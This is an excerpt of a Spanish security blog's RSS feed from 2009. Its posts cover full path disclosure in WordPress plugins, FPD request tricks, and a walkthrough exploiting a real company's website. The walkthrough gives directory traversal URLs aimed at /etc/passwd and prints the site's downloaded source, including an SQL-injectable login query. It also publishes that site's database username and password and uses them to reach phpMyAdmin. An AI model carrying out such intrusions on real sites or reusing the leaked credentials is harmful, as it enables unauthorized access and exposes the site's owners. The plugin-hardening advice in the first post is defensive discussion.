./akismet/akismet.php:add_action(&#8216;wp_set_comment_status&#8217;, &#8216;akismet_submit_spam_comment&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;edit_comment&#8217;, &#8216;akismet_submit_spam_comment&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;preprocess_comment&#8217;, &#8216;akismet_auto_check_comment&#8217;, 1);<br />
./akismet/akismet.php:add_action(&#8216;admin_menu&#8217;, &#8216;akismet_manage_page&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;activity_box_end&#8217;, &#8216;akismet_stats&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;rightnow_end&#8217;, &#8216;akismet_rightnow&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;manage_comments_nav&#8217;, &#8216;akismet_check_for_spam_button&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;admin_action_akismet_recheck_queue&#8217;, &#8216;akismet_recheck_queue&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;init&#8217;, &#8216;widget_akismet_register&#8217;);<br />
./source-code-syntax-highlighting-plugin-for-wordpress/deans_code_highlighter.php:add_action(&#8216;admin_menu&#8217;, &#8216;dl_reg_admin&#8217;);<br />
./flickr-widget/flickr_widget.php:add_action( &#8220;init&#8221;, &#8220;flickr_widgets_init&#8221; );</p></blockquote>
<p>La lista de plugins afectados es muy grande, sólo en este caso (mi wordpress) tenemos 15:</p>
<blockquote><p>wp-gravatar<br />
smart-youtube<br />
chili-code-highlighter<br />
wp-db-backup<br />
subscribe2<br />
add-to-any<br />
creative-commons-license-widget<br />
wordpress-23-related-posts-plugin<br />
twitter-updater-using-tinyurl<br />
simplepie-core<br />
all-in-one-seo-pack<br />
google-analyticator<br />
akismet<br />
source-code-syntax-highlighting-plugin-for-wordpress<br />
flickr-widget</p></blockquote>
<p>Para corregirlo simplemente debemos agregar, a cada llamada de la función, la siguiente validación:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/function_exists"><span class="kw3">function_exists</span></a><span class="br0">&#40;</span><span class="st0">&#8216;add_action&#8217;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#91;</span>&#8230;<span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>Quizás a mucha gente no le interese este tema y piense que este tipo de vulnerabilidad no sirve y no les importa que sepan en que directorio está instalado el wordpress, aún así, pienso que es necesario que esto se corrija. No va a depender de los usuarios solucionar esto, sino de los desarrolladores.<br />
Esta vulnerabilidad puede ser aprovechada no sólo para entrar a un sistema wordpress, puede ser combinada con otras vulnerabildiades como LFI o Directory Transversal y comprometer a las otras cuentas que estan en el servidor. Con esta información podemos obtener típicamente el nombre de usuario de la cuenta (luego ingresar por la IP agregando colita de chancho [~] y luego el username) y el directorio de ese usuario, que luego pueden ser usados para distintos fines.<br />
Las personas que alguna véz hayan explotado este tipo de vulnerabilidad sabrán lo útil que puede llegar a ser al momento de querer penetrar un sistema.</p>
<p>Si lo miramos desde otro punto de vista, podríamos llegar a <em>escalar</em> el problema y decir que gran parte de la responsabilidad la tiene <strong>WordPress</strong>, todos los plugins deberían pasar por un <em>test de calidad</em> donde se verifiquen este tipo de cosas. La forma de operar que tienen los plugins de WordPress deberían ser, al menos, en un entorno WP. ¿Me explico? Debería existir una forma de determar que el fichero php se está ejecutando bajo el entorno wordpress y no por si solo (por ejemplo al llamar a hello.php), ya sea con un método, constante, variable, etc, algo tan simple como un if:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span>WORDPRESS_ENVIRONMENT == <span class="nu0">1</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>Otra forma de solucionarlo, sería deshabilitando los mensajes de advertencia y errores por lado del servidor, pero insisto, creo que la solución no es por parte de los usuarios, sino de los desarrolladores.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/"  data-text="Vulnerabilidad en la mayoría de los plugins para WordPress" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>La vulnerabilidad Full Path Disclosure &#8230;</title>
		<link>http://blog.zerial.org/seguridad/la-vulnerabilidad-full-path-disclosure/</link>
		<comments>http://blog.zerial.org/seguridad/la-vulnerabilidad-full-path-disclosure/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 03:38:07 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[vulnerabilidad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=939</guid>
		<description><![CDATA[Según OWASP: Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain vulnerabilities, such as using the load_file() (within a SQL Injection) query to view the page source, require the attacker to have the full path to the file they wish to view. Según Acunetix: Description By [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-945" title="fpd" src="http://blog.zerial.org/wp-content/uploads/2009/09/fpd.png" alt="fpd" width="575" height="126" /></p>
<p>Según <a href="http://www.owasp.org/index.php/Full_Path_Disclosure" target="_blank">OWASP</a>:</p>
<blockquote><p>Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain vulnerabilities, such as using the load_file() (within a <a title="SQL Injection" href="http://www.owasp.org/index.php/SQL_Injection">SQL Injection</a>) query to view the page source, require the attacker to have the full path to the file they wish to view.</p></blockquote>
<p>Según <a href="http://www.acunetix.com/vulnerabilities/Full-path-disclosure.htm" target="_blank">Acunetix</a>:</p>
<blockquote><p><strong>Description</strong><br />
By injecting unexpected data into a parameter. it&#8217;s possible to generate an error that will reveal the full path of the script.</p>
<p><strong>Impact</strong><br />
A remote user can determine the full path to the web root directory and other potentially sensitive information.</p></blockquote>
<p>Si bien esta vulnerabilidad no es peligrosa, es una ayuda para obtener información que nos permitirá a explotar otro tipo de vulnerabilidades como por ejemplo Local File Include, por ejemplo en el caso que <a href="http://blog.zerial.org/seguridad/explotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal/" target="_blank">publiqué hace un tiempo del sitio de Veramonte</a>, en el cual la combiné con una Directory Traversal.</p>
<p><span id="more-939"></span></p>
<p>La clásica forma para lograr explotar esta vulnerabilidad es transformando las variables <em>sospechosas</em> pasadas por GET a arreglos, por ejemplo: http://sitio.com/index.php?module=login&amp;action=blabla → http://sitio.com/index.php?module[]=login&amp;action=blabla. Seguramente, si el sitio está mal desarrollado, lo que hará el sistema es intentar incluir el archivo &#8220;login&#8221;,&#8221;login.php&#8221;, &#8220;login.inc.php&#8221;, etc obteniendo el nombre del fichero desde la variable &#8220;module&#8221; y si esta variable es un arreglo, mostrará un error o un warning donde podremos ver el path completo del sitio.<br />
Otra forma muy común es, teniendo el mismo caso anterior, remplazar &#8220;login&#8221; por cualquier cosa: http://sitio.com/index.php?module=asioansiuabnasi&amp;action=blabla, entonces el sistema intentará incluir el fichero &#8220;asioansiuabnasi&#8221; y como no existe, pues mostraráun warning o error.</p>
<p>Este error nos puede otorgar información como el nombre de usuario, nombre del framework o del &#8220;sistema&#8221; que se está usando y ruta física donde se encuentra. Este método nos va a servir para buscar otras &#8220;puertas de entradas&#8221; al sitio web, por ejemlo mediante la dirección IP y el nombre de usuario: http://200.55.55.55/~usuario pudiendo generar otro tipo de errores o buscar otro tipo de vulnerabilidades.</p>
<p>Hace un tiempo descubrí un bug (hasta el momento no estaba reportado) en un plugin para WordPress muy usado, que me revela la ruta exácta de la instalación del CMS. Pronto escribiré algo al respecto.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fla-vulnerabilidad-full-path-disclosure%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/la-vulnerabilidad-full-path-disclosure/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/la-vulnerabilidad-full-path-disclosure/"  data-text="La vulnerabilidad Full Path Disclosure &#8230;" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/la-vulnerabilidad-full-path-disclosure/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Explotando una vulnerabilidad Full Path Disclosure+Directory Transversal</title>
		<link>http://blog.zerial.org/seguridad/explotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal/</link>
		<comments>http://blog.zerial.org/seguridad/explotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal/#comments</comments>
		<pubDate>Sat, 22 Aug 2009 00:35:43 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[directory transversal]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[vulnerabilidad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=770</guid>
		<description><![CDATA[Antes de mostar cualquier cosa quiero dejar en claro que todo lo que leerán de aquí en adelante es sólo con fines educativos, si tu eres un hacker malo que le encanta hacer cosas feas a los sitios con este tipo de fallas tan estúpidas comunes, este documento no es para ti, asi que vete [...]]]></description>
			<content:encoded><![CDATA[<p>Antes de mostar cualquier cosa quiero dejar en claro que todo lo que leerán de aquí en adelante es <strong>sólo</strong> con fines <em>educativos</em>, si tu eres un hacker malo que le encanta hacer cosas feas a los sitios con este tipo de fallas tan <span style="text-decoration: line-through;">estúpidas</span> comunes, este documento no es para ti, asi que vete maldito delincuente hacker inescrupuloso.</p>
<p><img src="http://blog.zerial.org/wp-content/uploads/2009/08/directory-trans.jpg" alt="directory-trans" title="directory-trans" width="200" height="192" class="aligncenter size-full wp-image-778" /></p>
<p>Habien dicho todo esto, llego el momento de la acción. <strong>Wanna rock?</strong></p>
<p><span id="more-770"></span></p>
<p>El sitio que usaremos será el de <a href="http://www.veramonte.cl" target="_blank">Veramonte</a> y las vulnerabilidades que <span style="text-decoration: line-through;">explotaré</span> enseñaré son <strong>Full Path Disclosure</strong> y <strong>Directory Transversal</strong> (no explicaré que significa cada una ya que para eso está google y no quiero quitarle sus clientes).<br />
Como primer paso, ingresaremos al sitio <a href="http://www.veramonte.cl" target="_blank">http://www.veramonte.cl</a> y mriaremos rápidamente si encontramos algo sospechoso, a simple vista podemos encontrar una posible url candidata a ser explotada:</p>
<p><a href="http://www.veramonte.cl/archivo/archivo2.php?cat=bodega" target="_blank">http://www.veramonte.cl/archivo/archivo2.php?cat=bodega</a></p>
<p>Pero si intentamos hacer cualquier cosa, nos damos cuenta de que no podemos hacer mucho <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Por ende, seguimos profundizando. En este caso, yo llegue lograr hasta la siguiente url:<br />
<a href="http://www.veramonte.cl/admin/download.php?path=">http://www.veramonte.cl/admin/download.php?path=</a></p>
<p>Mis ojos se dirigieron directamente a la variable &#8220;path&#8221; y fui probando, hasta lograr mi objetivo: Descargar y navegar por los archivos como si fuese un ftp personal. Empezando por descargarme el mismo fichero download.php y ver como está hecho:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$f</span> = <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&quot;path&quot;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">&quot;Content-type: application/octet-stream&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">&quot;Content-Disposition: attachment; filename=<span class="es0">\&quot;</span>$f<span class="es0">\&quot;</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="re0">$fp</span>=<a href="http://www.php.net/fopen"><span class="kw3">fopen</span></a><span class="br0">&#40;</span><span class="st0">&quot;$f&quot;</span>, <span class="st0">&quot;r&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/fpassthru"><span class="kw3">fpassthru</span></a><span class="br0">&#40;</span><span class="re0">$fp</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Eso nos dice CLARAMENTE que el fichero esta mal programado, no tiene ningun tipo de validación ni de protección, por lo que es explotable. Continuamos con la azaña, vamos a provocar un <em>path disclosure</em> introduciendo una ruta inválida, por ejemplo:<br />
<a href="http://www.veramonte.cl/admin/download.php?path=asdfgh">http://www.veramonte.cl/admin/download.php?path=asdfgh</a><br />
Nos encontramos que php nos muestra el siguiente error:</p>
<blockquote><p><strong>Warning</strong>:  fopen(asdfg) [<a href="function.fopen">function.fopen</a>]: failed to open stream: No such file or directory in <strong>/var/www/veramonte/html/admin/download.php</strong> on line <strong>5</strong></p>
<p><strong>Warning</strong>:  fpassthru(): supplied argument is not a valid stream resource in <strong>/var/www/veramonte/html/admin/download.php</strong> on line <strong>6</strong></p></blockquote>
<p>Con esto ya tenemos el <em>full path</em> al descubierto: /var/www/veramonte/html.<br />
La cosa acá se pone divertida, descarguemonos el /etc/passwd:<br />
<a href="http://www.veramonte.cl/admin/download.php?path=../../../../../../../etc/passwd" target="_blank">http://www.veramonte.cl/admin/download.php?path=../../../../../../../etc/passwd</a><br />
Nos encontramos con la sorpresa de que el servidor está &#8220;protegido&#8221;:</p>
<p style="text-align: center;"><img class="size-full wp-image-774 aligncenter" title="veramonte-1" src="http://blog.zerial.org/wp-content/uploads/2009/08/veramonte-1.png" alt="veramonte-1" width="498" height="127" /></p>
<p>Pero no importa, aún podemos seguir jugando. Descargamos el <em>index.php</em> para saber como funciona el sitio, que ficheros incluye, a que directorios hace referencia, etc etc.</p>
<p>Lo único que podemos rescatar el index es lo siguiente (código php):</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="co1">//Conecta a BD testing</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">include</span><span class="br0">&#40;</span><span class="st0">&quot;config/conex.php&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">include</span><span class="br0">&#40;</span><span class="st0">&quot;libreria/funciones.php&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">//$conect = Conectarse();</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/session_start"><span class="kw3">session_start</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$secure</span> = <span class="st0">&#8216;%4f#.$$FUCK%%rt!89&#8242;</span>;&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw1">if</span> <span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;enviar&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$username</span> = <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;charkikan&quot;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$password</span> = <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;cazuela&quot;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$password</span>&nbsp; &nbsp; &nbsp; &nbsp;= <a href="http://www.php.net/sha1"><span class="kw3">sha1</span></a><span class="br0">&#40;</span><span class="re0">$username</span> . <a href="http://www.php.net/sha1"><span class="kw3">sha1</span></a><span class="br0">&#40;</span><span class="re0">$password</span><span class="br0">&#41;</span> . <span class="re0">$secure</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//echo $username.&quot; &#8211; &quot;.$password;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$sql_users</span> = <span class="st0">&quot;SELECT * FROM v_usuarios WHERE username = &#8216;&quot;</span>.<span class="re0">$username</span>.<span class="st0">&quot;&#8217; AND password = &#8216;&quot;</span>.<span class="re0">$password</span>.<span class="st0">&quot;&#8217;&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="co1">//echo $sql_users;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$resultado</span> = <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$sql_users</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$valor</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$resultado</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_SESSION</span><span class="br0">&#91;</span><span class="st0">&#8216;user_sitio&#8217;</span><span class="br0">&#93;</span> = <span class="st0">&quot;ON&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_SESSION</span><span class="br0">&#91;</span><span class="st0">&#8216;nombre_user_sitio&#8217;</span><span class="br0">&#93;</span> = <span class="re0">$valor</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_SESSION</span><span class="br0">&#91;</span><span class="st0">&#8216;apellido_user_sitio&#8217;</span><span class="br0">&#93;</span> = <span class="re0">$valor</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_SESSION</span><span class="br0">&#91;</span><span class="st0">&#8216;privilegio_user_sitio&#8217;</span><span class="br0">&#93;</span> = <span class="re0">$valor</span><span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;&lt;script&gt;window.location=<span class="es0">\&quot;</span>admin.php<span class="es0">\&quot;</span>;&lt;/script&gt;&quot;</span>;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;&lt;meta HTTP-EQUIV=<span class="es0">\&quot;</span>Refresh<span class="es0">\&quot;</span> CONTENT=<span class="es0">\&quot;</span>10;URL=index.php<span class="es0">\&quot;</span>&gt;&quot;</span>; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span>&lt;/meta&gt;</div>
</li>
</ol>
</div>
<p>La primera línea me interesó muchisimo, me descargaré ese fichero, con las esperanzas de que estén escritos los datos de conexión a la base de datos y &#8230;&#8230;. <strong>bingo!!</strong>, lo tenemos:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> Conectarse<span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>!<span class="br0">&#40;</span><span class="re0">$link</span>=<a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="st0">&quot;localhost&quot;</span>,<span class="st0">&quot;veramonte&quot;</span>,<span class="st0">&quot;v3r4m0nt3&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;Error conectando a la base de datos.&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>!<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="st0">&quot;veramonte&quot;</span>,<span class="re0">$link</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;Error seleccionando la base de datos.&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">return</span> <span class="re0">$link</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Si probamos por ftp, veremos que no podemos ingresar, entonces buscamos más posibilidades. Como yo tengo un poco de imaginación, lo que se me ocurró fue ingresar en <a href="http://veramonte.cl/phpmyadmin" target="_blank">http://veramonte.cl/phpmyadmin</a>:</p>
<p><img class="aligncenter size-full wp-image-775" title="veramonte-2" src="http://blog.zerial.org/wp-content/uploads/2009/08/veramonte-2.png" alt="veramonte-2" width="458" height="185" /></p>
<p>Creo que con esto, el objetivo ya está logrado.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/explotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/explotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal/"  data-text="Explotando una vulnerabilidad Full Path Disclosure+Directory Transversal" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/explotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Explotando vulnerabilidades LFI y Directory Transversal en un sitio web</title>
		<link>http://blog.zerial.org/seguridad/explotano-vulnerabilidades-lfi-y-directory-transversal-en-un-sitio-web/</link>
		<comments>http://blog.zerial.org/seguridad/explotano-vulnerabilidades-lfi-y-directory-transversal-en-un-sitio-web/#comments</comments>
		<pubDate>Sat, 18 Jul 2009 14:42:41 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[directory transversal]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[vulnerabilidad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=607</guid>
